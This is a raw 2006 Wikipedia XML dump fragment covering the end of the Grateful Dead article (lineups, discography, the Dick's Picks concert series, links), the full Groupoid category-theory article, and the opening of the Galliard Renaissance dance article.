* [[Ron &quot;Pigpen&quot; McKernan]] - [[Keyboard instrument|keyboards]], [[harmonica]], [[vocals]], [[percussion]] &lt;BR&gt;
* [[Phil Lesh]] - [[bass guitar]], [[vocals]] &lt;BR&gt;
* [[Bill Kreutzmann]] - [[drums]] &lt;BR&gt;
* [[Mickey Hart]] - [[drums]] &lt;BR&gt;
|-
!  bgcolor=&quot;#E7EBEE&quot; | (1971)
| 
* [[Jerry Garcia]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Bob Weir]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Ron &quot;Pigpen&quot; McKernan]] - [[Keyboard instrument|keyboards]], [[harmonica]], [[vocals]], [[percussion]] &lt;BR&gt;
* [[Phil Lesh]] - [[bass guitar]], [[vocals]] &lt;BR&gt;
* [[Bill Kreutzmann]] - [[drums]] &lt;BR&gt;
|-
!  bgcolor=&quot;#E7EBEE&quot; | (1971-1972)
| 
* [[Jerry Garcia]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Bob Weir]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Ron &quot;Pigpen&quot; McKernan]] - [[Keyboard instrument|keyboards]], [[harmonica]], [[vocals]], [[percussion]] &lt;BR&gt;
* [[Keith Godchaux]] - [[Keyboard instrument|keyboards]] &lt;BR&gt;
* [[Phil Lesh]] - [[bass guitar]], [[vocals]] &lt;BR&gt;
* [[Bill Kreutzmann]] - [[drums]] &lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1972-1973)
|
* [[Jerry Garcia]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Bob Weir]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Ron &quot;Pigpen&quot; McKernan]] - [[Keyboard instrument|keyboards]], [[harmonica]], [[vocals]], [[percussion]] &lt;BR&gt;
* [[Keith Godchaux]] - [[Keyboard instrument|keyboards]] &lt;BR&gt;
* [[Donna Jean Godchaux]] - [[vocals]] &lt;BR&gt;
* [[Phil Lesh]] - [[bass guitar]], [[vocals]] &lt;BR&gt;
* [[Bill Kreutzmann]] - [[drums]] &lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1973-1975)
|
* [[Jerry Garcia]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Bob Weir]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Keith Godchaux]] - [[Keyboard instrument|keyboards]] &lt;BR&gt;
* [[Donna Jean Godchaux]] - [[vocals]] &lt;BR&gt;
* [[Phil Lesh]] - [[bass guitar]], [[vocals]] &lt;BR&gt;
* [[Bill Kreutzmann]] - [[drums]] &lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1975-1979)
|
* [[Jerry Garcia]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Bob Weir]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Keith Godchaux]] - [[Keyboard instrument|keyboards]] &lt;BR&gt;
* [[Donna Jean Godchaux]] - [[vocals]] &lt;BR&gt;
* [[Phil Lesh]] - [[bass guitar]], [[vocals]] &lt;BR&gt;
* [[Bill Kreutzmann]] - [[drums]] &lt;BR&gt;
* [[Mickey Hart]] - [[drums]] &lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1979-1990)
|
* [[Jerry Garcia]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Bob Weir]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Brent Mydland]] - [[Keyboard instrument|keyboards]], [[vocals]] &lt;BR&gt;
* [[Phil Lesh]] - [[bass guitar]], [[vocals]] &lt;BR&gt;
* [[Bill Kreutzmann]] - [[drums]] &lt;BR&gt;
* [[Mickey Hart]] - [[drums]] &lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1990-1995)
|
* [[Jerry Garcia]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Bob Weir]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Vince Welnick]] - [[Keyboard instrument|keyboards]], [[vocals]] &lt;BR&gt;
* [[Phil Lesh]] - [[bass guitar]], [[vocals]] &lt;BR&gt;
* [[Bill Kreutzmann]] - [[drums]] &lt;BR&gt;
* [[Mickey Hart]] - [[drums]] &lt;BR&gt;
|-
|}

== Discography ==
*''[[The Grateful Dead (album)|The Grateful Dead]]'' ([[1967]]: Garcia/Weir/Lesh/Kreutzmann/McKernan)
*''[[Anthem of the Sun]]'' ([[1968]]: Garcia/Weir/Lesh/Kreutzmann/Hart/McKernan)
*''[[Two from the Vault]]'' (1968: Garcia/Weir/Lesh/Kreutzmann/Hart/McKernan)
*''[[Aoxomoxoa]]'' ([[1969]]: Garcia/Weir/Lesh/Kreutzmann/Hart/McKernan/Constanten)
*''[[Live/Dead]]'' (1969: Garcia/Weir/Lesh/Kreutzmann/Hart/McKernan/Constanten)
*''[[History of the Grateful Dead, Volume One (Bear's Choice)]]'' ([[1970]]: Garcia/Weir/Lesh/Kreutzmann/Hart/McKernan)
*''[[Workingman's Dead]]'' (1970: Garcia/Weir/Lesh/Kreutzmann/Hart/McKernan)
*''[[American Beauty (album)|American Beauty]]'' (1970: Garcia/Weir/Lesh/Kreutzmann/Hart/McKernan)
*''[[Grateful Dead (album)| Grateful Dead]]'' (aka ''Skull &amp; Roses'') ([[1971]]: Garcia/Weir/Lesh/Kreutzmann/McKernan)
*''[[Hundred Year Hall]]'' ([[1972]]: Garcia/Weir/Lesh/Kreutzmann/McKernan/K. Godchaux/D. Godchaux)
*''[[Europe '72]]'' (1972: Garcia/Weir/Lesh/Kreutzmann/McKernan/K. Godchaux/D. Godchaux)
*''[[Skeletons from the Closet (Best of the Grateful Dead)]]'' ([[1973]]: compilation)
*''[[Wake of the Flood]]'' (1973: Garcia/Weir/Lesh/Kreutzmann/K. Godchaux/D. Godchaux)
*''[[Grateful Dead From the Mars Hotel]]'' ([[1974]]: Garcia/Weir/Lesh/Kreutzmann/K. Godchaux/D. Godchaux)
*''[[Steal Your Face]]'' (1974: Garcia/Weir/Lesh/Kreutzmann/K. Godchaux/D. Godchaux)
*''[[One From the Vault]]'' ([[1975]]: Garcia/Weir/Lesh/Kreutzmann/Hart/K. Godchaux/D. Godchaux)
*''[[Blues for Allah]]'' (1975: Garcia/Weir/Lesh/Kreutzmann/Hart/K. Godchaux/D. Godchaux)
*''[[Terrapin Station]]'' ([[1977]]: Garcia/Weir/Lesh/Kreutzmann/Hart/K. Godchaux/D. Godchaux)
*''[[What a Long Strange Trip It's Been]]'' (1977: compilation)
*''[[Shakedown Street]]'' ([[1978]]: Garcia/Weir/Lesh/Kreutzmann/Hart/K. Godchaux/D. Godchaux)
*''[[Go to Heaven]]'' ([[1980]]: Garcia/Weir/Lesh/Kreutzmann/Hart/Mydland)
*''[[Reckoning (Grateful Dead album)|Reckoning]]'' ([[1981]]: Garcia/Weir/Lesh/Kreutzmann/Hart/Mydland)
*''[[Dead Set]]'' ([[1981]]: Garcia/Weir/Lesh/Kreutzmann/Hart/Mydland)
*''[[In the Dark]]'' ([[1987]]: Garcia/Weir/Lesh/Kreutzmann/Hart/Mydland)
*''[[Built to Last]]'' ([[1989]]: Garcia/Weir/Lesh/Kreutzmann/Hart/Mydland)
*''[[Dylan &amp; The Dead]]'' (live, with [[Bob Dylan]]) ([[1989]]: Garcia/Weir/Lesh/Kreutzmann/Hart/Mydland)
*''[[Dozin' at the Knick]]'' ([[1990]]: Garcia/Weir/Lesh/Kreutzmann/Hart/Mydland)
*''[[Without a Net]]'' (1990: Garcia/Weir/Lesh/Kreutzmann/Hart/Mydland)
*''[[Infrared Roses]]'' ([[1991]]: live compilation) 
*''[[Grayfolded]]'' ([[1996]]: live compilation)
*''[[Grateful Dead 1977-1995]]'' (1996: compilation)
*''[[The Arista Years]]'' ([[1996]]: compilation)
*''[[Fallout from the Phil Zone]]'' ([[1997]]: live compilation)
*''[[So Many Roads 1965-1995]]'' ([[1999]]: boxed set)
*''[[The Golden Road]]'' ([[2001]]: boxed set, consisting of the Dead's years with Warner Brothers Records, 1967-1972)
*''[[Postcards of the Hanging]]'' ([[2002]]: live compilation)
*''[[The Very Best of The Grateful Dead]]'' ([[2003]]: compilation)
*''[[Beyond Description]]'' ([[2004]]: boxed set, consisting of the Dead's years with Grateful Dead Records and Arista Records, 1973-1989)
*''[[Rare Cuts and Oddities 1966]]'' ([[2005]])
*''[[The Complete Fillmore West 1969]]'' ([[2005]]: boxed set, live)

=== Dick's Picks ===
The above list does not include the ''Dick's Picks'' series of concert recordings taken from the band's archives, selected by archivist [[Dick Latvala]] and, after his death, [[David Lemieux]]. Started in [[1993]], as of [[January 14]], [[2006]] there are thirty-six volumes in the series, each covering a part or all of one or more concerts. About three new volumes were being released each year.

* Vol. 1: December 19, 1973 from [[Tampa, Florida]]
* Vol. 2: October 31, 1971 from the [[Ohio Theatre]], [[Columbus, Ohio]]
* Vol. 3: May 22, 1977 from the [[Hollywood Sportatorium]], [[Hollywood, Florida]]
* Vol. 4: February 13 and 14, 1970 from the [[Fillmore East]], [[New York City]]
* Vol. 5: December 26, 1979 from the [[Oakland Arena]], [[Oakland, California]]
* Vol. 6: October 14, 1983 from the [[Hartford Civic Center]], [[Hartford, Connecticut]]
* Vol. 7: September 1974 from the [[Alexandra Palace]], [[London, England]]
* Vol. 8: May 2, 1970 from [[Harpur College]], [[Binghamton, New York]]
* Vol. 9: September 16, 1990 from [[Madison Square Garden]], New York City
* Vol. 10: December 29 and 30, 1977 from the [[Winterland]], [[San Francisco, California]]
* Vol. 11: September 27, 1972 from the [[Stanley Theater (Jersey City)|Stanley Theater]], [[Jersey City, New Jersey]]
* Vol. 12: June 26, 1974 from the [[Providence Civic Center]], [[Providence, Rhode Island]] and June 28, 1974 from the [[Boston Garden]], [[Boston, Massachusetts]]
* Vol. 13: May 6, 1981 from the [[Nassau Coliseum]], [[Long Island, New York]]
* Vol. 14: November 30 and December 2, 1973 from the Boston Music Hall (now [[Symphony Hall, Boston|Symphony Hall]]), Boston, Massachusetts
* Vol. 15: September 3, 1977 from the [[Raceway Park]], [[Englishtown, New Jersey]]
* Vol. 16: November 8, 1969 from [[the Fillmore]], San Francisco, California
* Vol. 17: September 25, 1991 from the Boston Garden, Boston, Massachusetts with two songs from March 31, 1991
* Vol. 18: February 3, 1978 from the [[Dane County Coliseum]], [[Madison, Wisconsin]] and February 5, 1978 from the [[Uni-Dome]], [[Cedar Falls, Iowa]]
* Vol. 19: October 19, 1973 from the [[Fairgrounds Arena]], [[Oklahoma City, Oklahoma]]
* Vol. 20: September 25, 1976 from the [[Capital Center]], [[Landover, Maryland]] and September 28, 1976 from the [[War Memorial at Oncenter|Onondaga County War Memorial]], [[Syracuse, New York]]
* Vol. 21: November 1, 1985, from the [[Richmond Coliseum]], [[Richmond, Virginia]] and some tracks from September 2, 1980
* Vol. 22: February 23 and 24, 1968 from the [[Kings Beach Bowl]], [[Lake Tahoe]], California
* Vol. 23: September 17, 1972 from the [[Baltimore Civic Center]], [[Baltimore, Maryland]]
* Vol. 24: March 23, 1974 from the [[Cow Palace]], [[Daly City, California]]
* Vol. 25: May 10, 1978 from the [[Veterans Memorial Coliseum]], [[New Haven, Connecticut]] and May 11, 1978 from the [[Springfield Civic Center]], [[Springfield, Massachusetts]]
* Vol. 26: April 26, 1969 from the [[Electric Theater]], [[Chicago, Illinois]] and April 27, 1969 from the [[Labor Temple]], [[Minneapolis, Minnesota]]
* Vol. 27: December 16, 1992 from the Oakland Coliseum Arena, Oakland, California
* Vol. 28: February 26, 1973 from the [[Pershing Municipal Auditorium]], [[Lincoln, Nebraska]] and February 28, 1973 from the [[Salt Palace]], [[Salt Lake City, Utah]]
* Vol. 29: May 19, 1977 from the [[Fox Theatre]], [[Atlanta, Georgia]] and May 21, 1977 from the [[Lakeland Civic Arena]], [[Lakeland, Florida]]
* Vol. 30: March 28, 1972 from the [[Academy of Music]], New York City and March 25, 1972 (including five songs with [[Bo Diddley]])
* Vol. 31: August 4 and 5, 1974 from the [[Philadelphia Civic Center]], [[Philadelphia, Pennsylvania]] and August 6, 1974 from the [[Roosevelt Stadium]], [[Jersey City, New Jersey]]
* Vol. 32: August 7, 1982 from the [[Alpine Valley]], [[East Troy, Wisconsin]]
* Vol. 33: October 9 and 10, 1976 from the Oakland Stadium, Oakland, California (one of [[Bill Graham (promoter)|Bill Graham]]'s [[Days on the Green]])
* Vol. 34: November 5, 1977 from the [[Community War Memorial]], [[Rochester, New York]] with bonus tracks of November 2, 1977 from the [[Seneca College Field House]], [[Toronto, Ontario]]
* Vol. 35: August 7, 1971 from [[San Diego, California]] and August 24, 1971 from Chicago, Illinois with bonus tracks of August 6, 1971 from the [[Palladium]], [[Hollywood, California]]
* Vol. 36: September 21, 1972 from the [[Spectrum]], Philadelphia, Pennsylvania

Volume 15 and later are released in the [[HDCD]] format.

==See also==
*[[San Francisco Sound]]
*[[Grateful Dead concerts of 1995]]
*[[List of bands which allow taping of their concerts]]
*[[The Grateful Dead Movie]]
*[[Jam band]]

==Samples==
*[[Media:BoxofRain.ogg|Download sample]] of &quot;Box of Rain&quot; from ''[[American Beauty (album)|American Beauty]]''
* https://dead.unixgu.ru/ - claims to be a legal source

==References==
* {{cite book | last = Garofalo | first =  Reebee | title = Rockin' Out: Popular Music in the USA | publisher = Allyn &amp; Bacon | year = 1997 | id = ISBN 0205137032 }}
* {{cite book | last = Lesh | first =  Phil | title = Searching for the Sound | publisher = Little, Brown and Co. | year = 2005 | id = ISBN 0-316-00998-9 }}
* {{cite book | last = McNally | first =  Dennis | title = A Long Strange Trip: the Inside History of the Grateful Dead | publisher = Broadway Books | year = 2002 | id = ISBN 0-76791186-5 }}
* {{cite book | last = Ward | first =  Ed  | coauthors =  Geoffrey Stokes and Ken Tucker | title = Rock of Ages: The ''Rolling Stone'' History of Rock and Roll | publisher = Rolling Stone Press | year = 1986 | id = ISBN 0671544381 }}

==Notes==
#{{note|musicianlybackground}} ''Rolling Stone'', pg. 332
#{{note|SanFrancisco}} Garofalo, pg. 218
#{{note|experimental}} Garofalo, pg. 219
#{{note|philanthropy}} Garofalo, pg. 219, quote in Garofalo, cited to Roxon, ''Lillian Roxon's Rock Encyclopedia'', 210

==External links==
*[http://www.dead.net/ Official Grateful Dead Home Page]
*[http://www.deadlists.com/ The DeadLists Project]
*[http://www.thejerrysite.com/ The Jerry Site]
*[http://www.setlists.net/ The SetList Program]
*[http://www.deaddisc.com/ The Grateful Dead Family Discography]
*[http://tcgdd.freeyellow.com/ The Compleat Grateful Dead Discography]
*[http://arts.ucsc.edu/gdead/agdl/ The Annotated Grateful Dead Lyrics]
*[http://www.musicbox-online.com/dd-dead.html Dissecting the Dead with David Dodd] - The Music Box, Vol. 12, #10
*[http://www.gdhour.com/ The Grateful Dead Hour Radio Program] - weekly radio show, nationally-syndicated on over 75 stations
*[http://www.myclassiclyrics.com/grateful_dead/grateful_dead_Lyrics.htm The Grateful Dead Lyrics Page]
*[http://www.spiritplants.org/phpbb/viewforum.php?f=4/ SpiritPlants - The Groove]
*[http://www.rukind.com/ Extensive song lyrics and tab]
*[http://www.archive.org/search.php?query=Grateful%20Dead%20AND%20mediatype%3Aetree%20AND%20collection%3Aetree&amp;sort=-%2Freviews%2Finfo%2Favg_rating%3B-%2Freviews%2Finfo%2Fnum_reviews Live Grateful Dead concerts available in streaming format/listed by listener rating]
*[http://www.archive.org/audio/etree-band-showall.php Other taper/trade - friendly bands on the Live Music Archive]
*[http://bt.etree.org/index.php?sort=seeders&amp;cat=8 Torrents of live concerts]
*[http://www.philzone.com Philzone (Phil Lesh fan site)]
*[http://www.cjfishlegacy.com/ CJFishlegacy.com]
*[http://www.musicbox-online.com/dl-vault1.html Interview from the Vault: A Conversation with David Lemieux] - The Music Box, Vol. 9, #2
*[http://www.musicbox-online.com/dm-long2.html A Long Strange Trip from Historian to Publicist: An Interview with Dennis McNally] - Music Box, Vol. 9, #10
*[http://www.musicbox-online.com/hartint.html Listen - The Sound of the World] - The Music Box, Vol. 10, #10
*[http://www.musicbox-online.com/sc-int.html From Chaos to Beauty: The Transformation of The Grateful Dead Movie] - The Music Box, Vol. 11, #12
*[http://www.rockument.com/grateful_dead.html Unlimited Devotion: Rockument's History of the Grateful Dead]
*[http://www.boingboing.net/2005/11/26/greedy_grateful_dead.html Greedy Grateful Dead widow burns down online show-library]
*[http://www.walstib.org Grateful Dead Community and Forum]
*[http://www.booksmusicfilmstv.com/GratefulDeadCDs.htm The Grateful Dead - A Potted History]

[[Category:1960s music groups]]
[[Category:1970s music groups]]
[[Category:American musical groups]]
[[Category:Grateful Dead|*]]
[[Category:Folk rock groups]]
[[Category:Jam bands]]
[[Category:Psychedelic groups]]
[[Category:Rock and Roll Hall of Fame inductees]]
[[Category:Rock music groups]]
[[Category:Jammy Award Winner]]

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  </page>
  <page>
    <title>Groupoid</title>
    <id>12543</id>
    <revision>
      <id>33590856</id>
      <timestamp>2006-01-02T12:24:57Z</timestamp>
      <contributor>
        <username>Smimram</username>
        <id>81011</id>
      </contributor>
      <minor />
      <comment>/* Relation to groups */ pb with quotes</comment>
      <text xml:space="preserve">:''In addition to the present meaning, the term &quot;groupoid&quot; is also used for a [[magma (algebra)|magma]]: a [[set]] with an arbitrary  [[binary operation]] on it. This encyclopedia does not use that sense of this word.''

In [[mathematics]], especially in [[category theory]] and [[homotopy theory]], a '''groupoid''' is a concept (first developed by [[Heinrich Brandt]] in [[1926]]) that simultaneously generalises [[group (mathematics)|group]]s, [[equivalence relation]]s on [[set]]s, and [[group action|action]]s of groups on sets.
They are often used to capture information about geometrical objects such as [[manifold]]s.

== Definitions ==
From one point of view, a groupoid is simply a [[category theory|category]] in which every [[morphism]] is an [[isomorphism]] (that is, invertible).
To be explicit, a groupoid ''G'' is:
* A [[set]] ''G''&lt;sub&gt;0&lt;/sub&gt; of ''objects'';
* For each pair of objects ''x'' and ''y'' in ''G''&lt;sub&gt;0&lt;/sub&gt;, a set ''G''(''x'',''y'') of ''morphisms'' (or ''arrows'') from ''x'' to ''y'' — we write ''f'' : ''x'' &amp;rarr; ''y'' to indicate that ''f'' is an element of ''G''(''x'',''y'');
equipped with:
* An element id&lt;sub&gt;''x''&lt;/sub&gt; of ''G''(''x'',''x'');
* For each triple of objects ''x'', ''y'', and ''z'', a [[binary function]] comp&lt;sub&gt;''x'',''y'',''z''&lt;/sub&gt; from ''G''(''x'',''y'') and ''G''(''y'',''z'') to ''G''(''x'',''z'') — we write ''gf'' for comp&lt;sub&gt;''x'',''y'',''z''&lt;/sub&gt;(''f'',''g'');
* A [[function (mathematics)|function]] inv&lt;sub&gt;''x'',''y''&lt;/sub&gt; from ''G''(''x'',''y'') to ''G''(''y'',''x'') — we write ''f''&lt;sup&gt;-1&lt;/sup&gt; for inv&lt;sub&gt;''x'',''y''&lt;/sub&gt;(''f'');
such that:
* If ''f'' : ''x'' &amp;rarr; ''y'', then ''f''id&lt;sub&gt;''x''&lt;/sub&gt; = ''f'' and id&lt;sub&gt;''y''&lt;/sub&gt;''f'' = ''f'';
* If ''f'' : ''x'' &amp;rarr; ''y'', ''g'' : ''y'' &amp;rarr; ''z'', and ''h'' : ''z'' &amp;rarr; ''w'', then (''hg'')''f'' = ''h''(''gf'');
* If ''f'' : ''x'' &amp;rarr; ''y'', then ''ff''&lt;sup&gt;-1&lt;/sup&gt; = id&lt;sub&gt;''y''&lt;/sub&gt; and ''f''&lt;sup&gt;-1&lt;/sup&gt;''f'' = id&lt;sub&gt;''x''&lt;/sub&gt;.

One can also define a groupoid as a certain [[algebraic structure]].
To be specific, let ''G'' be a [[set]] and let comp be a [[partial function|partially defined]] [[binary operation]] on ''G''.
That is, given elements ''f'' and ''g'' of ''G'', comp(''f'',''g'') may be an element of ''G'', or it may be undefined.
We write ''gf'' for comp(''f'',''g'').
There is also a total (everywhere defined) [[function (mathematics)|function]] inv on ''G''.
We write ''f''&lt;sup&gt;-1&lt;/sup&gt; for the ''inverse'' inv(''f'') of ''f''.
Then ''G'' is a ''groupoid'' iff:
* Whenever ''fg'' and ''gh'' are both defined, then (''fg'')''h'' and ''f''(''gh'') are also defined, and they are equal;
* ''f''&lt;sup&gt;-1&lt;/sup&gt;''f'' and ''ff''&lt;sup&gt;-1&lt;/sup&gt; are always defined;
* Whenever ''fg'' is defined, then ''fgg''&lt;sup&gt;-1&lt;/sup&gt; = ''f'' and ''f''&lt;sup&gt;-1&lt;/sup&gt;''fg'' = ''g'' — we already know that these expressions are unambiguously defined by the previous conditions.

The relation between these definitions is as follows:
given a groupoid in the category-theoretic sense, let ''G'' be the [[disjoint union]] of all of the sets ''G''(''x'',''y'').
Then inv and comp become partially defined operations on ''G'', and inv will in fact be defined everywhere.
Explicit reference to ''G''&lt;sub&gt;0&lt;/sub&gt; (and hence to id) can be dropped.

On the other hand, given a groupoid in the algebraic sense, let ''G''&lt;sub&gt;0&lt;/sub&gt; be the set of all elements of the form ''ff''&lt;sup&gt;-1&lt;/sup&gt; for some element ''f'' of ''G''.
In other words, the objects are identified with the identity morphisms, and id&lt;sub&gt;''x''&lt;/sub&gt; is just ''x''.
Let ''G''(''x'',''y'') be the set all elements ''f'' such that ''yfx'' is defined.
Then inv and comp break up into several functions on the various ''G''(''x'',''y'').

While we have referred to ''sets'' in the definitions above, one may instead want to use [[class (set theory)|class]]es, in the same way as for other categories.

== Examples ==

From [[linear algebra]]:
Given a [[field (algebra)|field]] ''K'', the '''general linear groupoid''' GL&lt;sub&gt;*&lt;/sub&gt;(''K'') consists of all invertible [[matrix_(mathematics)|matrices]] with entries from ''K'', with composition given by [[matrix multiplication]].
If ''G'' = GL&lt;sub&gt;*&lt;/sub&gt;(''K''), then ''G''&lt;sub&gt;0&lt;/sub&gt; contains a copy of the set of [[natural number]]s, since there is one [[identity matrix]] of dimension ''n'' for each natural number ''n'', although ''G''&lt;sub&gt;0&lt;/sub&gt; contains other matrices.
''G''(''m'',''n'') is [[empty set|empty]] unless ''m'' = ''n'', in which case it is the set of ''n'' by ''n'' matrices.

From [[topology]]:
Start with a [[topological space]] ''X'' and let ''G''&lt;sub&gt;0&lt;/sub&gt; be the set ''X''.
The morphisms from the point ''p'' to the point ''q'' are [[equivalence class]]es of [[continuous function (topology)|continuous]] [[path (topology)|path]]s from ''p'' to ''q'', with two paths being considered equivalent if they are [[homotopic]].
Two such morphisms are composed by first following the first path, then the second; the homotopy equivalence guarantees that this composition is [[associative]].
This groupoid is called the ''[[fundamental groupoid]]'' of ''X'', denoted &amp;Pi;&lt;sub&gt;1&lt;/sub&gt;(''X'').

If ''X'' is a [[set]] and ~ is an [[equivalence relation]] on ''X'', then we can form a groupoid representing this equivalence relation as follows:
The objects are the elements of ''X'', and for any two elements ''x'' and ''y'' in ''X'', there is a single morphism from ''x'' to ''y'' [[if and only if]] ''x''&amp;nbsp;~&amp;nbsp;''y''.

If the [[group (mathematics)|group]] ''G'' [[group action|act]]s on the set ''X'', then we can form a groupoid representing this group action as follows:
The objects are the elements of ''X'', and for any two elements ''x'' and ''y'' in ''X'', there is a morphism from ''x'' to ''y'' for every element ''g'' of ''G'' such that ''g''.''x'' = ''y''.
Composition of morphisms is given by the group operation in ''G''.

== Relation to groups ==

If a groupoid has only one object, then the set of its morphisms forms a [[group (algebra)|group]].
Using the algebraic definition, such a groupoid is literally just a group.
Many concepts of [[group theory]] can be generalized to groupoids, with the notion of [[group homomorphism]] being replaced by that of [[functor]].

If ''x'' is an object of the groupoid ''G'', then the set of all morphisms from ''x'' to ''x'' forms a group ''G''(''x'').
If there is a morphism ''f'' from ''x'' to ''y'', then the groups ''G''(''x'') and ''G''(''y'') are [[group isomorphism|isomorphic]], with an isomorphism given by mapping ''g'' to ''fgf''&lt;sup&gt;-1&lt;/sup&gt;.

Every [[connected (category theory)|connected]] groupoid (that is, one in which any two objects are connected by at least one morphism) is isomorphic to a groupoid of the following form:
Pick a group ''G'' and a set (or [[mathematical class|class]]) ''X''.
Let the objects of the groupoid be the elements of ''X''.
For elements ''x'' and ''y'' of ''X'', let the set of morphisms from ''x'' to ''y'' be ''G''.
Composition of morphisms is the group operation of ''G''.
If the groupoid is not connected, then it is isomorphic to a [[disjoint union]] of groupoids of the above type (possibly with different groups ''G'' per connected component).
Thus, any groupoid may be given ([[up to]] isomorphism) by a set of [[ordered pair]]s (''X'',''G'').

Note that the isomorphism described above is not unique, and there is no [[natural equivalence|natural]] choice.
Choosing such an isomorphism for a connected groupoid essentially amounts to picking one object ''x''&lt;sub&gt;0&lt;/sub&gt;, a group isomorphism ''h'' from ''G''(''x''&lt;sub&gt;0&lt;/sub&gt;) to ''G'', and for each ''x'' other than ''x''&lt;sub&gt;0&lt;/sub&gt; a morphism in ''G'' from ''x''&lt;sub&gt;0&lt;/sub&gt; to ''x''.

In category-theoretic terms, each connected component of a groupoid is [[equivalent categories|equivalent]] (but not [[isomorphic categories|isomorphic]]) to a groupoid with a single object, that is, a single group.
Thus any groupoid is equivalent to a [[multiset]] of unrelated groups.
In other words, for equivalence instead of isomorphism, you don't have to specify the sets ''X'', only the groups ''G''.

Consider the examples in the previous section.
The general linear groupoid is both equivalent and isomorphic to the disjoint union of the various [[general linear group]]s GL&lt;sub&gt;''n''&lt;/sub&gt;(''F'').
On the other hand, the fundamental groupoid of ''X'' is equivalent to the collection of the [[fundamental group]]s of each [[path-connected component]] of ''X'', but for an isomorphism you must also specify the set of points in each component.
The set ''X'' with the equivalence relation ~ is equivalent (as a groupoid) to one copy of the [[trivial group]] for each [[equivalence class]], but for an isomorphism you must also specify what each equivalence class is.
Finally, the set ''X'' equipped with an action of the group ''G'' is equivalent (as a groupoid) to one copy of ''G'' for each [[orbit (group theory)|orbit]] of the action, but for an isomorphism you must also specify what set each orbit is.

The collapse of a groupoid into a mere collection of groups loses some information, even from a category-theoretic point of view, because it's not [[natural (category theory)|natural]].
Thus when groupoids arise in terms of other structures, as in the above examples, it can be helpful to maintain the full groupoid.
If you don't, then you must choose a way to view each ''G''(''x'') in terms of a single group, and this can be rather arbitrary.
In our example from topology, you would have to make a coherent choice of paths (or equivalence classes of paths) from each point ''p'' to each point ''q'' in the same path-connected component.

===Covariance in special relativity===

An example of this phenomenon that is well known in [[physics]] is [[covariance]] in [[special relativity]].
Working with a single group corresponds to picking a specific [[frame of reference]], and you can do all of physics in this fashion.
But it's more natural to describe physics in a way that makes no mention of any particular frame of reference, and this corresponds to using the entire groupoid.
(''I need to go into more detail about this. It really is a precise correspondence -- the particular group involved is the [[Poincaré group]] — but I'm not sure how best to explain it yet.'')

== Lie groupoids and Lie algebroids ==

When studying geometrical objects, the arising groupoids often carry some [[differentiable structure]], turning them into '''Lie groupoids'''.
These can be studied in terms of [[Lie algebroid]]s, in analogy to the relation between [[Lie group]]s and [[Lie algebra]]s.

: ''Explain this''

==See also==

[[Heinrich Brandt]]

== External links ==

*Alan Weinstein, Groupoids: unifying internal and external symmetry, available as [http://math.berkeley.edu/~alanw/Groupoids.ps Groupoids.ps] or [http://www.ams.org/notices/199607/weinstein.pdf weinstein.pdf]
* Part VI of Geometric Models for Noncommutative Algebras, ''by A. Cannas da Silva and A. Weinstein'' [http://math.berkeley.edu/%7Eacannas/notes_latest.pdf PDF file.]
* [http://www.bangor.ac.uk/r.brown/hdaweb2.htm Higher dimensional group theory ] is a web article with lots of references explaining how the groupoid concept has to led to notions of higher dimensional groupoids, not available in group theory, with applications in homotopy theory and in group cohomology. 

* [http://www.shef.ac.uk/~pm1kchm/gt.html General theory of Lie groupoids and Lie algebroids, K.C.H. Mackenzie, CUP, 2005] 

[[Category:Abstract algebra]]
[[Category:Category theory]]

[[de:Gruppoid]]
[[eo:grupoido]]
&lt;!--[[en:groupoid]]--&gt;
[[es:Grupoide]]</text>
    </revision>
  </page>
  <page>
    <title>Galliard</title>
    <id>12544</id>
    <revision>
      <id>41536510</id>
      <timestamp>2006-02-28T00:31:14Z</timestamp>
      <contributor>
        <username>Seahen</username>
        <id>216769</id>
      </contributor>
      <minor />
      <text xml:space="preserve">''This article is about the dance; see also [[Galliard (font)]].''

The '''galliard''' ('''gaillarde''', in French) was a form of [[Renaissance dance]] and music popular all over Europe in the 16th century. It is mentioned in dance manuals from England, France, Spain, Germany, and Italy, among others.

==Dance==
As a dance, the galliard is improvised, with dancers combining together patterns of steps which occupy one or more measures of music. In one measure, a galliard typically has 5 steps; in French such as basic step is called a ''cinq pas'' and in Italy, &quot;cinque passi&quot;. This is sometimes written in English sources as ''sinkapace''. 

The galliard is an athletic dance, characterized by leaps, jumps, hops, and other similar figures.  The main feature that defines a galliard step is that the last two beats consist of a large jump, landing with one leg ahead of the other. This jump is called a ''cadence'', and the final landing is called the ''posture''. The sources generally describe doing any pattern first starting on the left foot, and then repeating it starting on the right foot.

A galliard pattern may also last twice as long, or more, which would involve 11 steps, or 17 steps, and so forth.

The galliard was a favorite dance of Queen [[Elizabeth I of England|Elizabeth I]] of England, and although it is quite a vigorous dance, in 1589 when the Queen was in her mid fifties, John Stanhope of the Privy Chamber reported, &quot;the Queen is so well as I assure you, six or seven galliards in a morning, besides music and singing, is her ordinary exercise&quot; (Alan Brissenden, ''Shakespeare and the Dance'', pp 4-5). 

In addition to being an entire dance, galliard steps are used within many other forms of dance. For example, 16th century Italian dances in [[Fabritio Caroso]]'s and Negri's dance manuals often have a galliard section.

One special step used during a galliard is [[lavolta]], a step which involves an intimate, close hold between a couple, with the woman being lifted into the air and the couple turning about 270 degrees, within one 6 beat measure. La Volta was considered quite a scandalous dance and some dancing masters question whether it ought to be danced at all.

